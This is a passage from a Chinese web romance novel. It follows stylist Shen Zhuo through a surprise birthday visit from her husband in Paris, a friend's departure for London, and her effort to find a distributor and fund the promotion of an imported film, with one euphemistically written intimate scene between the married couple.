秀场半个小时结束，二人接受完一轮观秀采访之后返回酒店换衣服，晚上还有afterparty。第二天关司予还有杂志街拍和采访，沈灼要再核对细节，便没跟着去。 小芸负责关注数据和动态，忽然间嗷一嗓子，吓了沈灼和Nadia一跳，忙问她怎么了。 “上热搜了，司予哥和蒋芮姐上热搜了！”小芸激动地说。 “好的还是坏的？”Nadia问着，拿起手机点开微博。 “好的好的！” 沈灼进热搜榜，不是前排，往下滑看到#关司予寸头性张力#这一词条，她还以为是工作室的图出圈了，没想到是一个娱乐博主发的四张照片。再往下一划，是一个百万博主发布的微博，她是受邀看秀的素人嘉宾，和关司予拍了合照，还单独为他拍了几张照片发了微博，文案写的：我镜头里的关司予。转发已经接近六千，点赞三万。 沈灼点进那位博主的微博看，她其实不止发了关司予，还有别的艺人，没想到这条竟然是最爆的。 评论区都在说寸头和真空造型好有荷尔蒙性张力。 沈灼有点哭笑不得，自己找来的摄影师拍的竟然还没有一个博主手机拍摄的流量来的大，不过这怎么不算是一波免费宣传呢。 Nadia说：“如果真拿原先的那套衣服还真不一定有这效果。” 原来的那套成衣比较中规中矩，廓形和收腰都远不及中古款做的开，而且造型师还给他搭配的假长发，整体造型是有点往《野河》里狂野贵公子的方向靠拢的。 沈灼点头：“还真是，那一套只能说不会出错加蹭点角色热度，可惜了我给他找一梳妆老师亲自给他勾得假头套，花了两万多呢。” Nadia笑说：“就当是宣传费了，这不比预期好多了。” “看吧，得亏行李丢了这才有这个造型，白天还惨兮兮地和我哭呢。”沈灼对小芸说，“塞翁失马，焉知非福呢。” 小芸不好意思地笑笑。说话的空档，再一刷新，热搜又往上升了三个名次。 第二天的拍摄和采访都很顺利，下午三点就结束了工作，关司予说他定了餐厅，晚上请大家吃饭。沈灼和Nadia回酒店整理好这几天的图片视频，换了身轻便衣服。 Nadia看了她一眼，皱眉：“你就不能化个妆穿个裙子打扮一下吗？” “不就吃个饭吗？”沈灼看了眼自己的搭配，浅驼色毛衣加黑色阔腿裤，出门再套个加大衣，“这不挺好的吗？” “吃完饭没事还可以去逛逛呀，还有半小时，你快点。”在Nadia的勒令下，沈灼迅速画了个淡妆，裤子换成一条半身羊绒裙。 到达餐厅之后，Nadia对着关司予感叹：“你竟然能订到SushiPark？！” “很难订吗？”沈灼不知道这家餐厅，她环绕四周看了下环境，偏现代幽暗风，翻开菜单来看是一家寿司omakase店。 “当然了！这家店在LA开的，就小李子肯豆霉霉……很多好莱坞明星去吃，今年刚在巴黎开业，官网一票难求。” “用了钞能力啊。”关司予盯着沈灼笑了一下，“反正有人掏钱包场。”他点了260欧每人份的Omakase。 不过虽然又贵又难预约，但是味道差强人意，沈灼吃到一半停了筷子。 关司予正坐在她对面，忽然问她：“今天是什么日子啊。” 沈灼一脸莫名：“什么？” 其余人都笑了，Nadia说：“今天是二月最后一天哦。” 关司予打了个响指，突然间本就昏暗的餐厅，中间的射灯几乎都关掉了，沈灼他们这附近的桌位直接陷入黑暗，只有桌上的小桌灯发出一点点微弱的光。 Nadia起头开始烘托氛围：“祝你生日快乐，祝你生日快 乐……“小芸和蒋芮也开始跟着唱起来。 沈灼没想到他们竟然是给她来庆生的，有点震惊，她手足无措，不好意思地笑了，“好了好了，谢谢大家……” 关司予转身，冲着厨师台那边挥一挥手，只见一个西装革履的男人捧着一个蛋糕朝他们这桌走来。 沈灼抬眼，顺着视线看过去，感觉黑暗中的那个身影有点眼熟，但是她又不敢相信，邵成章怎么会出现在这里呢？ 她忍不住眯起眼睛，可以看得更清楚点。蛋糕上插着一根点燃的蜡烛，随着男人的走近，射灯也渐渐开了几盏，沈灼渐渐看清了男人的脸庞。 “卧槽……”Nadia一声惊呼，“这里服务员这么帅的？” 男人走到桌前，冲着她笑，沈灼眨眨眼，大脑有点呆滞，而后喃喃地说：“Nadia，他不是服务员，他是……我老公啊。” 第94章 沈灼话一出，除了关司予，所有人都一脸不可置信，看看她又看看邵成章，视线在二人之间游移。 关司予本是坐在沈灼的正对面，他接过邵成章手中的蛋糕放在桌子上，然后给邵成章让座位，他坐到Nadia旁边。 小芸起身，把中间的椅子向外拉了点，对着邵成章说：“老板哥，您请坐。” 众人一听她说的“老板哥”都不禁笑出声来，打破了因为讶异的沉默。惊讶邵成章应了声“好”，坐在沈灼的对面。 Nadia嫌弃地笑问：“小芸，老板哥是什么啊。” 小芸也坐下，她尴尬一笑：“我也不知道，脑子一抽就说出来了。” 蒋芮说：“也没毛病，沈灼是老板，他是沈灼姐的老公，叫老板哥也对。” Nadia：“啊？那不应该叫‘老板公’吗？” 蒋芮和小芸又笑出来，“还不如我说的‘老板哥’呢！” 沈灼虽然笑着，但仍一副还没接受现实的怔愣表情，“不是，你怎么来了啊。”半天她憋出来这么一句。 邵成章不答，冲着蛋糕微扬下巴，“再不许愿吹蜡烛就要灭掉了。” “是呀是呀，先许愿。”Nadia在旁边催她。 沈灼立即双手合十，可是太突然了，她都不知道该许什么愿望，想了半天也只想出个希望她爱的人们身体健康，一切顺利这样朴素的愿望。 吹完蜡烛，头顶上的射灯亮起来，Nadia清晰地看到邵成章的脸。她“哇”了一声，对沈灼说：“你是戒过毒吗，你老公这么帅你竟然能藏着掖着，从来没发过。”沈灼很少发朋友圈，破天荒七夕那天算是官宣，但也没发她和邵成章的正脸合照。 沈灼看了对面一眼，笑着说：“就是因为帅才要藏着掖着啊，我一个人看就够了。” 邵成章勾起嘴角，克制不住地笑。Nadia皱着眉头很嫌弃地“咦”了一声，她抖抖身体，像是被沈灼秀出一身鸡皮疙瘩，她手一背从包里拿出一个小礼盒，“喏，大寿星生日快乐。” 蒋芮和关司予也纷纷拿出了礼物，沈灼一一道谢。 “沈灼姐，我是饭前才知道你过生日，还没来得及给你准备礼物。”小芸抿着唇，有点抱歉地说。 “你一个刚毕业的小孩儿不用送了。”Nadia说。 “是呀，小孩儿送什么礼物，小孩儿就多吃点蛋糕吧，长身体。”沈灼毫不介意。服务生送来了刀叉和小碟子，沈灼第一刀下去，切了块大的先给小芸了。 “别别别，先给老板哥吧。”她将蛋糕推到邵成章旁边。 “他不爱吃蛋糕，这里面就咱俩能多吃点了，这些人都不怎么吃。”Nadia和蒋芮是为了抗糖，邵成章和关司予是根本不喜欢吃太甜的。 Nadia也跟着劝：“咱们不讲究这些，小芸你吃就行了。”她又叮嘱沈灼给她切一丁点就行了，她尝个味儿。 沈灼给剩下的每个人都切了两三口的量，最后给自己切了块大的。Nadia在一旁看着啧啧摇头，“还得是年轻啊。” 沈灼一顿：“你对我一29岁的人说年轻合适吗，真年轻的在那呢。”她冲着小芸微抬下巴，“满脸的胶原蛋白。” Nadia笑起来，“行了，这话题结束，年龄就是不能比，我都快大小芸一轮了。” 没几口吃完蛋糕，Nadia喊着蒋芮和小芸去逛街，关司予打算回酒店休息。 “给你们留二人世界，对了老板哥，我们明天白天的行程不忙的。”Nadia先看了沈灼一眼，笑着对他说。 听出她的画外音，沈灼皱眉睁大眼睛瞪着她，意思是：“你到底在说什么？！” 邵成章点头微笑回应：“好，谢谢告知。” Nadia冲着沈灼wink，挽着小芸和蒋芮离开了。 餐厅位置在塞纳河右岸的核心区域，沈灼说想去走走。 这会儿刚刚八点，天还没完全黑下去，整个天幕连着一片略带紫的深靛蓝，是巴黎的一天当中最美的蓝调时刻。 “邵总这样赶过来，不耽误工作吗？”沈灼手牵着邵成章，沿着街道慢慢溜达。 邵成章不答反问：“我过来给你庆生，第一反应是担心我的工作吗？” “是啊，你不是忙着雅安那边的招标吗。”沈灼说，“这一来一回要一天时间。” “因为你比工作重要。”邵成章低头看着她说。 沈灼另一只手抱住他的手臂，“邵成章，你就不怕把我惯坏了？” “惯坏了才好，这样只有我能给你想要的，你就不会看上其他男人了。” 沈灼扑哧笑出声：“你好心机啊。” 邵成章哼了一声，也不反驳。两个人慢慢走到了蒙马特圣心堂，台阶下面的平台上有人正在弹唱，沈灼找了个人少的位置，和邵成章坐下听会儿歌。 弹唱的男人刚结束一首歌，她对着话筒说了一句法语，沈灼听不懂只见周围人却在鼓掌欢呼。 和弦缓缓拨起，邵成章听了几个音后说：“Can‘tHelpFallinginLove。” “嗯？”沈灼扭头看他。 “我说歌名。” 沈灼“哦”了声，凑近他耳边：“我还以为你在和我告白。” 邵成章单手搂住她，笑着说：“嗯，也是告白。” 弹吉他的男人唱起来，低沉的嗓音十分有味道。 “……IfIcan‘thelpfallinginlovewithyou.”（如果我情不自禁与你坠入爱河） “Likeariverflowssurelytothesea.”（就像河流必定涌入大海） “Darlingsoitgoes，somethingsaremeanttobe.”（亲爱的，有些事命中注定） “Takemyhand，takemywholelifetoo.”（牵我的手，和我度过一生） “ForIcan‘thelpfallinginlovewithyou……”（因为我情不自禁爱上了你……） 沈灼悄悄伸出手，与他的手指交错相扣，她偏过头倚在他肩上。远处的街灯渐次亮起，天空是一种模糊而温柔的蓝紫色。歌声散在风里，却又渗进心底里。 谁都没有再开口说话，两个人安静地依偎着。 如果时间可以停止在这一刻就好了，沈灼想。 邵成章忽然说：“老婆，生日快乐，你也要天天快乐。” 沈灼觉得自己被多巴胺控制了，雀跃的心情变成了一个个彩虹泡泡，堆积在胸口想要冲出来。一想到邵成章在百忙之中给她准备的惊喜，她又开心又感动。 这种心情是她和姜珺和任何人在一起都不曾有过的感受。 她的大脑，她的心脏，被一份前所未有的充实的爱意填 满。 沈灼不禁红了眼眶，接着眼角溢出一滴眼泪顺着脸庞滑下去，她忍不住吸吸鼻子，答应他：“好。” “怎么哭了，嗯？”邵成章听出她的鼻音，低头一看，鼻梁上还有泪痕。 沈灼手背抹了一下眼泪，囔着声音说：“都怪你，我觉得我已经离不开你了。”说着脸埋进他的胸口，“我们下辈子还能在一起吗？” 邵成章笑了下，肯定地说：“能的，我会找到你的。” 沈灼记得他以前说过，虽然人生很长，可是去掉工作和日常吃喝睡这些零碎的时间，两个人真正在一起的时间也不过十年。她之前没有太过在意，可现在一想，她已经在舍不得他了。 沈灼忽然又感觉十分伤心，眼泪抑制不住，她在邵成章的怀里开始抽泣起来。 邵成章没再追问，不过大抵能判断她不是因为受了委屈才哭的，他拍着她的背慢慢安抚她。 沈灼也说不明白，自己的情绪为什么像是突然决堤爆发了一般，她甚至控制不了自己的眼泪，她平时总是能很好的控制好情绪的。 沈灼呜咽的哭声引得路过的路人看过来，邵成章只好尴尬一笑。 哭了好一会儿，发现眼泪鼻涕都蹭在了他的大衣上，她才离开了些，让自己慢慢平复。 “路人以为我在欺负你呢。”邵成章和她开玩笑，“能告诉我为什么哭吗？” 沈灼摇摇头，不是不想说，是不知道，“我感觉自己好开心，可是一想会和你分开又很难过。” 邵成章以为她是说自己天亮之后回国，安慰她：“你后天回家就能看见我了。” “才不是。”沈灼胡乱在脸上抹了一把，“笨死了你。” 邵成章愣了几秒，结合她刚才说的那些话，慢慢反应过来她说的是什么意思了，他低头吻在她的头发上，“那我争取早点退休，天天陪你去上班，我每天二十四小时都黏着你。” 沈灼听了皱眉道：“你都退休了为什么我还要工作啊？不公平。” “谁让我有个事业心太重爱上班的老婆呢。” 沈灼瞪他一眼：“你才爱上班呢。” 邵成章笑了下：“那我们一起退休好了，早点退休。” 夜里有些起风了，两个人准备回酒店。邵成章拉着沈灼站起来，看她脸上还有泪痕，用指腹给她抹去了。 这会儿她清醒了，想起刚刚在他怀里莫名其妙地哭起来，感觉好羞耻，她抬手遮住眼睛，不好意思看他，“哎呀，好丢人啊。” 邵成章哑然失笑，他一点也不觉得沈灼丢人，他只觉得可爱。 邵成章订的和沈灼同一家酒店，沈灼是大床房，她不理解明明和她住一间就好了，他为什么还要单独开一个总统套。邵成章和她说，不想睡那么小的房间，沈灼听了有点无语，第一次觉得邵成章可能也是有点总裁病在身上的。 翌日天微亮，邵成章就要去机场，沈灼迷迷糊糊醒来，说要去送他，被他摁在被窝里让她接着睡。 昨晚两个人睡得太晚了，不过什么事也没做，就是抱着纯聊天。沈灼说Nora帮了她大忙，回去一定要请她吃饭，她又提到行李丢的好，关司予换了造型还上了热搜，顺便再夸奖或者吐槽一些艺人的造型，讲着讲着就会忍不住笑起来。虽然他不理解她好笑的点在哪里，但是他喜欢沈灼笑起来的样子，被她的情绪感染，他也会很放松。 知道沈灼回来，邵成章特意早点回家，结果在家里转了一圈却不见她人影。他掏出手机给她打电话，下一秒就听到了电子门锁的滴滴声。 沈灼下午去给姜珺还有迟女士送礼物了。 “那我的礼物呢？”邵成章上前侧抱住她。 “嗯？你也要吗？我以为你什么都不缺呢。”沈灼双手扒着横在她胸口的手臂，带着他往里走。 “好吧。”邵成章没有不开心，但是确实有一点点的小失落。 沈灼侧过脸问：“没给你买礼物，你会不会不开心啊？” 邵成章想个大挂件一样勾着她脖子，亲在她的侧脸上，“不会。” “真的吗？”沈灼笑了下，“不送礼物也没关系的话，那我就真的不送了哦。” “嗯？”邵成章反应过来，箍着她肚子挠她痒痒，“不行，我要礼物。” 沈灼笑着扭来扭曲，想躲开他的手，“有有有礼物！” 她带着邵成章去了衣帽间，中间的沙发凳上摆着一个大盒子。 邵成章走过去打开，里面是一双黑色小牛皮双扣孟克鞋，很经典的款式。 “你试试，尺码应该是对的。” 邵成章注意力都在她送的鞋子上，全然没注意沈灼已经走到他身后，从柜子里拿出来一双高跟鞋，这是之前邵成章送她的一双方扣的一字高跟鞋。 沈灼背对着他坐，迅速扣好鞋带后转身看他，“合适吗？” 邵成章穿着站起来，走了两步，很合适也不会感觉到硬，很满意地说：“嗯，很合适，谢谢老婆。” 沈灼起身走过来，他一眼注意到了她脚上的高跟鞋。 她在他面前停下，邵成章低头，看到他穿的黑色方扣皮鞋中间是一双方扣高跟鞋。 沈灼伸出脚碰了碰他的鞋尖，“逛街的时候看到这双皮鞋，想起来你也送了我一双类似的高跟鞋，就给你买回来了，以后我们就有情侣鞋啦，你喜欢吗？” 他太喜欢她的小心思了，抬手拥她在怀里，“嗯，特别特别特别喜欢。” * 姜珺已经拿到LFS的offer了，本以为她会在四月开学前再过去，没想到她即刻就要走。姜珺说自己想趁着开学前把欧洲玩一遍。 送行的当天，是邵成章开车带着沈灼去向女士家里接的姜珺，向女士没跟着上车，只送到了家楼下，姜珺说怕她去了机场，自己会忍不住哭。 可没有向女士，还有沈灼。她一直陪姜珺走到安检口，一遍遍嘱咐着这那。邵成章看看时间，提醒姜珺该安检了，两个人牵着的手才松开。 姜珺抱着沈灼，拍拍她的后背，语气故作轻松：“我走啦。” “嗯。”沈灼点点头，声音已经开始哽咽，“一定要小心，注意安全啊，国外小偷抢劫的特别多。”最后一句话还是不忘嘱咐。 “知道知道。”姜珺松开她，低头不敢再看她，她推着登机箱进安检，视线即将遮挡着的时候，又回头望了一眼，看到沈灼已经在抹眼泪了。 虽然知道姜珺只是去伦敦两年，但她和姜珺隔了七个小时的时差，再也不是想随时见面聊天就能找她的时候了。 姜珺红着眼睛冲她挥挥手，转身的时候也忍不住哭了出来。 沈灼在安检口站了好一会儿，等平复好心情，她拿出手机给姜珺发消息，却发现姜珺已经给她发了一条：等我回来，很快。 回复之后，她刷新朋友圈，看见姜珺发了一行文字：我渴望成熟。准备好死去，准备好重生。 沈灼点了个赞。 她已经开始期待，两年后那个比现在更加强大更加有力量的姜珺了。 第95章 沈灼收到电影局的邮件，《像她一样》已经过审，可以去拿公映许可证了。她第一次做投资项目，下面的流程还有点不熟悉，于是约了黎雅琦出来吃饭请教，顺便问一下《雾灯》的进展。 黎雅琦告诉她，接下来最重要的就是找发行方，一般国外版权都会找华影或者中夏这样的大型国有公司，不管是院线资源、排片能力还是宣传营销能力都是最强的。 黎雅琦说：“我给你推两个人，是这两家发行部的，你要是想找他们发行可以和对方联系提前看片。” 沈灼笑了一下：“真的吗，太谢谢了！” “不用谢，就当是我《雾灯》还你的人情。”黎雅琦在组里这么多年，也曾遇到过开机前演员因为各种原因不演的情况，等再找来新的顶替艺人，通常他们的经纪人都会加倍的要片酬，就断定了剧组这边不能耽误开机但是除了自家艺人也找不到更合适人选的主意。这时候，她只能先紧着开机来，花高价签下甚至艺人还要享受超出自身咖位的衣食住行待遇。 当时《雾灯》剧组面临资金和演员的问题，沈灼及时推荐了蒋芮，而且片酬要的价格非常公道，并没有坐地起价，预算这块儿，黎雅琦直接少了很多的压力，她一直记得。 “那《雾灯》现在什么情况了啊？”沈灼问。 黎雅琦说：“本来想的是能冲一下戛纳么，结果因为乔新越那事儿闹的往后拖了两个月也赶不上 了，麦序说申请一下今年的威尼斯和柏林，国内的话，可能得下半年上映了。你呢，你工作室怎么样了？” 沈灼笑了笑：“还行吧，我又签了两个小姑娘，还没毕业，想培养一下，关司予四月去港市进组，现在我重中之重就是把《像她一样》上映了，就是不知道能不能回回血，越往下推进我越没底。”她现在的大头投入都在这部电影上了，一旦出现亏损她的小心脏真的会受不了。 黎雅琦安慰她：“没事儿，慢慢来呗。” 和黎雅琦散了之后，沈灼立即添加和中夏发行部的工作人员，他们也都是黎雅琦认识多年的老朋友了，知道沈灼这边的情况，纷纷欢迎她到公司来谈合作，沈灼当机立断和二位约好了看片时间。 不日，沈灼按照时间到达楼下，负责和她对接的刘莹下来接她到公司的播放厅。这里简直是一个小型电影院，沈灼选择坐在最后一排，没一会儿就陆陆续续进来了十几个人，一共五排的位置，前两排几乎坐满了。 刘莹将设备调试好，走到前面简单介绍了一下即将播放的影片。 在拿到片源重新后期加字幕的时候，沈灼去机房已经看了很多遍了，对于剧情她滚瓜烂熟，于是她往前挪了一排座位，开始留心看片领导们的状态。 播放到中间一半的时候，有三个男领导已经在看手机频频回复消息了，后半程几乎没有怎么再认真看过电影，有一个甚至已经靠在椅背上睡过去了，反倒是女领导们，都看得很认真。 这是一部女性视角的电影，显然男性无法共情，虽然只是十几个人她的样本不够充足，但确实能反映出来问题。 电影看完，刘莹带着沈灼去了一间会议室想简单聊聊。 刘莹示意沈灼坐，给她倒了一杯茶，“刚刚是我们发行部、宣推部、市场部、数据部还有院线责任人、制片版权部的同事们，我们这边两天大概就能出个书面意见。” 沈灼点头：“好的。”她第一次参与这样的评估，心里有点没底，有些试探地问，“刘老师您觉得这片子怎么样？” 刘莹答：“其实我是很喜欢这个片子的，不管是故事完成度还是表现能力，都不错，但是这部片子的受众有点太局限了，基本上是抛弃了男性市场，虽然我们统计观影群体还是女性更多一些，但很多也是情侣夫妻来看，他们进电影院的首选就不会选择这部电影。” 和沈灼预想的一样，她笑了一下说：“我明白了，那贵公司这边走宣发的话是怎么个方式呢？” “如果我们评估之后同意发行的话，会收票房10%的发行费，在宣传方面呢，一般像这种国外独立小众的电影，是由版权方承担宣传营销费用的。” 沈灼轻一皱眉：“据我所知好像可以由发行方提前垫付宣传费？” “是有，但现在市场风险越来越大，很多影片国内票房不及预期，我们目前除了一些好莱坞商业大片或者是像宫崎骏新海诚这样知名导演的片子会垫付，其余的都是由版权方来出，而且《像她一样》这部片子虽然在平台上评分很高，但它不是大IP，也没有顶级明星加盟，所以我估计我们这边不太可能会提前垫付。” “我了解了，谢谢。” 走出华影，沈灼心凉了半截。她本来以为自己可以省掉一笔宣发费，没想到竟然是她这边出，如果华影是这样，那么中夏那边应该是也一样的。她给财务打了个电话，问公司账面上还有多少钱。 三百万出头，这是上半年关司予和蒋芮所有合作项目的片酬，扣税平分之后到账的金额。 沈灼有点烦。这三百万她不能全部投入宣传，再者说电影行业的钱一点不经花，三百万的宣传根本毫无水花，至少也要过千万的宣传才有点起色。 隔日她去中夏，那边给出的合作方式和华影无二。 不久，她收到了两家的看片意见，华影肯定了优点，也说出了不足，但因为市场受众，对方给出的最终意见是：院线商业发行难度大，不太建议商业院线发行，建议与流媒体平台或者与发展公司洽谈合作。 简直是晴天霹雳…… 她怎么都没想到华影会通不过发行。 而中夏同意发行，却要15%的发行费。 邵成章参与的地皮招标已经结束，在等待最终结果，但他能早早回家了。一回去就见沈灼直愣愣地坐在地板上出神，他喊了她好几声，她才有反应，慢悠悠地转过头，“啊”了一声，让他想起来那只叫闪电的树懒。 “想什么呢，这么入迷？”邵成章笑着走过去，站她背后往上一拎，把一边的坐垫踢过来，给她垫着，“也不垫着坐垫，不凉吗？” 沈灼哪还顾得上地板凉不凉，她的心，她的项目才是彻底凉了啊。 她突然一撇嘴，冲他呜呜地哼起来，“完了邵成章，我完了。”一副可怜兮兮的模样。 “什么叫完了，天塌下来还有我呢，怎么了？”他在她身边坐下。 “我投的那个项目完了，我这两天去看片，华影看完不给发行，但中夏的发行费又很高，宣传费还得我自己掏……但宣传费……”沈灼想想自己那三瓜俩枣的，又重重地叹了一口气，“宣传费我最多出150万，根本不够。” 邵成章想了想说：“首先拿到了龙标就说明片子没有问题。华影拒绝，中夏发行报价过高，这并不意味着没有其他选择，其他发行公司有问吗？” 沈灼摇头：“基本这种国外片子都是这两家发行，其余的就算发行，在影院排片也会非常少。” 邵成章说：“排片少是因为有热门大片的，如果上映档期避开热门上映电影，那么排片会相对平衡一些。先别急着叹气，我们把市面上可以发行的二类公司找出来，和他们一一去谈。至于宣传，150万也有150万的方式。” 看出来沈灼是真的被打击到了，听他分析都无精打采的。 “走吧。”她被他拉起来，牵着去了书房。邵成章坐到书桌前开始查资料。他找出来所有的发行公司，然后一一看过他们曾经的发行影片有哪些，确实被他找出来有三家是可以发行40部电影以上的，有一家甚至可以说是国内最大的民营影视公司。 邵成章将三家公 司名字发给她。“这三家先去谈，如果还不行就再往下找小发行公司。可以优先考虑知夏，他们去年也发行过一部国外电影，最终票房六千多万。” “六千多万？”沈灼一听瞪大了眼睛，直接支棱起来，“哪部电影啊？”她预计的《像她一眼》只要达到三千万的票房她就谢天谢地了。 邵成章起身：“先去吃饭，吃完饭我们一起看，这样你心里也有底了。”他光是筛选公司就花了一个多小时。 沈灼一瞄时间，都八点多了，“你怎么还没吃饭啊？” “你吃了吗？”邵成章不答反问。他明明是想回来和她一起吃的，陈姨说给他们炖了汤，进门之后他瞥了眼岛台和餐桌，桌面干干净净的，又看她那状态，他就猜她没吃。 沈灼摇摇头：“那会儿我吃不下。” “那一起吃，老婆，我好饿。” 知道自己耽误他吃饭，沈灼也不好意思再拖着他，陪他一起去餐厅。冰箱里有新鲜的牛排，邵成章直接煎了两大块。 将牛排切好，又盛了两碗汤。沈灼一边吃着，手机就没从手里放下过，发行先放一边，她还有宣传的问题，真是头大。 “我觉得我真的冲动了，我当初就应该谨慎一点，脑袋一热就买版权了，完全没考虑后面的问题。”沈灼突然懊悔地说。 “怎么会是冲动，买版权之前你已经看过片子了，只是第一次尝试投资，没经历过发行宣传这些环节，所以觉得手忙脚乱。” 沈灼低头用叉子戳牛排，嘟囔：“可我就是没考虑周全啊，现在一堆问题压在我头上。” 如果是在她的主场，出多大的问题她都觉得不是事，因为她可以通过自己的经验判断出后果，而且她有办法解决。然而现在是她从没接触过的领域，一切都是未知，需要她自己一点点摸索解决，就连解不解决的了她都不知道。 “不是还有我吗？如果思考得面面俱到，很多人权衡之下或者为了保险就不会去做了，不做就永远不会成功。”邵成章抬眼看她，“不过还有更快的解决办法，要不要听？” “什么呀？”沈灼问。 “接受中夏的发行费，宣传费我替你出，你只需要好好的确认好每个环节落地直到电影上映就可以了。” “不要。”沈灼想都不想直接拒绝，她还欠着他三百万呢，可不想再负债了，她信誓旦旦地说：“我能自己解决。”冲着这三百万，她都得让电影上映了。 邵成章笑着点头：“我相信你，也支持你，就算结果再差，都还有我呢。我是你最大的一张底牌，所以大胆去做就好了，不要怕。” 第96章 吃完饭，沈灼和邵成章找出去年知夏发行的那部国外电影看了看，沈灼觉得剧情很一般。 “你客观地评价，《像她一样》是不是比这部电影要好？”沈灼问。 “是。”邵成章点点头，安慰她，“就这都六千多万的票房，那你就不用担心了。” 沈灼重重地叹了一口气，头靠在沙发椅背上，紧皱着眉头不说话。邵成章牵过她的手，一会儿捏捏她的指根，一会儿摩挲着她的掌心手背，陪着她。 “邵成章，你有没有好消息让我开心一下。”沈灼太烦躁了，她不能再沉浸在这个情绪里了。 邵成章说：“最近的竞标还算顺利，不出意外，过几天就有结果了，如果拿下来，Dreamora会在雅安区建一个主题游乐园。” “好好好，咱们俩好歹有一个人顺利就行。”沈灼握住他的手，放到了额头上，“把你的好运气也借我一点。” 邵成章笑了下：“不要一点，把我的好运气全部都给你。” * 沈灼优先联系知夏传媒，得知他们从去年开始进行一个口碑专题组，专门引进国外这种小众又有口碑的片子，而且去年他们就有将《像她一样》纳入讨论之列，没想到后来被沈灼买走了版权。 沈灼没想到和知夏谈的十分顺利，而且作为国内排名前三的民营影视公司，知夏有自己的宣传团队，虽然这笔费用也还是得沈灼承担，但是不必再耗费精力再单独找宣传公司了。一下子不仅搞定了发行，一并连宣传也搞定了。 知夏根据沈灼的150万的宣传费用，给她出了一套方案，沈灼将方案给Nadia看了一遍，她说对方给出的方案还是比较合理的。 宣传预算十分有限，基本只能集中在线上，先在各大平台放出预告片，用短视频话题引起热度，上映前一周开始在一二线城市进行点映，同时会选择影视类中腰部及垂直类博主进行分享和推荐。 沈灼看了下档期日历，五一当天有两部电影比较受关注，一个是有顶流参与的喜剧公路片，一个是香港导演的动作大片，这两部片子几乎就能占领大部分的影院排片，如果上映时间长，又会接上暑期档，上映的片子只会更多，那《像她一样》几乎占不到什么排片。 沈灼和知夏那边讨论定下的档期是在五一前一周的周末，如果前面一周票房还稍微不错的话，五一档还有可能冲一下。 《野河》马上迎来大结局，关司予和蒋芮的饰演的伪姐弟热度居高不下，“人工降雨”的超话几乎天天排在前三。沈灼陆续收到一些剧本邀约和策划书，她都转发给了小芸，让小芸将不错的项目挑出来，做好评估。如果小芸要成为一名专业的经纪人，这是基本的能力。 随着工作量的增加，沈灼又开始招聘经纪人来带新签的小姑娘。 一旦忙碌起来，日子就过得飞快，眨眼就到了四月中。 某一天睡前，邵成章突然问她：“老婆，你知道明天是什么日子吗？” “什么日子？”沈灼倚靠在床头捧着手机回消息，顺着他的话想也没想地问道。 过了几秒没听见邵成章的回答，她转头看了他一眼，“嗯？” 邵成章嘴巴一撇，哼出一口气来：“去年的今天，是我们领证的日子，你都忘了。” 沈灼一愣：“是明天么，这么快啊。”她手指一划页面的状态栏，原来他们是4月15号领的证啊，好吧她完全不记得。 谁让他们的开始就很匆忙且冲动。 “如果是个特殊点有寓意的日子就好了。”邵成章有点可惜，随后又说，“不过我查了，那天宜嫁娶。” “你这会儿又开始相信玄学了啊。怎么着，嫌日子不好要不然咱俩离了再挑个良辰吉日重新结一次？”沈灼笑着说。 邵成章听见沈灼说“离”这个字，幽怨地看她一眼，“我才不和你离呢，万一离了你又反悔不和我结婚了怎么办？” “那你得反思你自己啊，肯定是你有做的不好的地方，我才不和你结婚了。” 邵成章一个翻身，肘撑着床，抬头望着她“那我现在有做的不好的地方吗？” 沈灼想了想：“暂时我很满意。” “满分一百，我可以打多少分。” “嗯……99分吧。” “那一分差在哪儿了？” “怕你太骄傲了呗，让你知道还有上升的空间。” “我不骄傲，你把那一分还给我。” “你说要我就给啊。” “给不给？” “不给——啊！”沈灼话没说完便惊呼一声。 邵成章起身将被子一掀，把她的手机抽走，大手箍着她的腰往下一拖，欺身而上将她压住。睡裙因为摩擦力压在腰间下面，露出两条光洁的腿。 邵成章撅着嘴巴看她。 沈灼忍不住笑起来，她脚一抬，勾住他的小腿，用脚背轻轻磨他，“好吧，今晚奖励你一道附加题，答好了就加分。” 邵成章勾了勾唇，额头顶着她的，沉声道：“沈老师，我不要做一道题，我要做一整套题。” 他吻住沈灼，用舌尖在她的身体上一点点写下 答案。 前面的答题步骤轻车熟路。 周围没有可以抓住的东西，沈灼双手只能揪着床单，胸口起伏的剧烈。 她控制不住地忸动着，不由自主地抖，她又想躲避又想迎合，真是不知道怎么样才好了。 试卷全都湿透了，毛茸茸的脑袋从蹆间抬起来，“一下一分，好不好？” 邵成章的小半张脸上莹凉凉一片，他伸出舌尖舔掉一部分水渍，但够不到的部分，他起身覆在她身上，将那些黏腻抹在她的胸口上。 原先空着的地方慢慢也被写满了。 “够了够了……一百分了！”沈灼艰难地从喉咙里溢出这几个字，尽量说清楚怕邵成章听不清。 不过他就是听清了也没停，“还有最后一道附加题不是吗？”他粗。喘着声音说。 邵成章突然开始奋笔疾书。 终于，考试结束。 邵成章拥她在怀里，一下一下轻拍着她的背。等她平复差不多了，他拉开一点距离，把她的手放到自己胸口，笑眼看她，“沈老师，今晚对我的表现还满意吗？” 沈灼确实满意，哼哼两声：“勉强满分吧。” 他的手从后背挪到前面，整个手心裹住一白团，手指在上面一动一按，和弹钢琴似的在那玩，“其实我还有别的解题方法，下次换几个方法解给沈老师看。” 沈灼拍了下他的手背，翻了个身平躺着不看他，傲娇道：“不要。” 邵成章松开手，又换了刚刚没握着的一边玩，他勾着唇说：“沈老师不知道吗，严师才出高徒，我们平时要多多进行考试才能进步。” “我不想要高徒，我想桃李满天下。”她又忍不住想逗他。 “嗯？你说什么？”邵成章挑眉，掰过她的脸让她盯着自己，“那沈老师的愿望可是实现不了了，你这辈子就只能有我这一个学生了。” * 一周年的纪念日沈灼没时间过，马上《像她一眼》就要正式上映了，她每天都在盯着宣传话题，但目前为止还没有一个出圈的引起热度和话题讨论，加上前一周的点映票房只有不到百万的票房，她有些担心。 上映的前一天，她几乎是如坐针毡，常常就盯着手机的时间出神。晚上回家邵成章和她说什么，她都像是安装了屏蔽信号一样，叫人人不应的。 23：59分，她捧着手机紧盯着数据平台APP，邵成章问她要不要准备睡，被她“嘘”了一声，“你先别和我说话。”她现在紧张的心脏砰砰直跳！ 00：00分，沈灼刷新了一下页面，《像她一样》出现在影片那一栏的第三排，票房数值不停地跳动，沈灼点进那一栏，看到今日票房显示10.1万，再往下一看，预测内地总票房那一栏显示1124.17万。 “预测才1100万？！”沈灼震惊地直接喊出来。 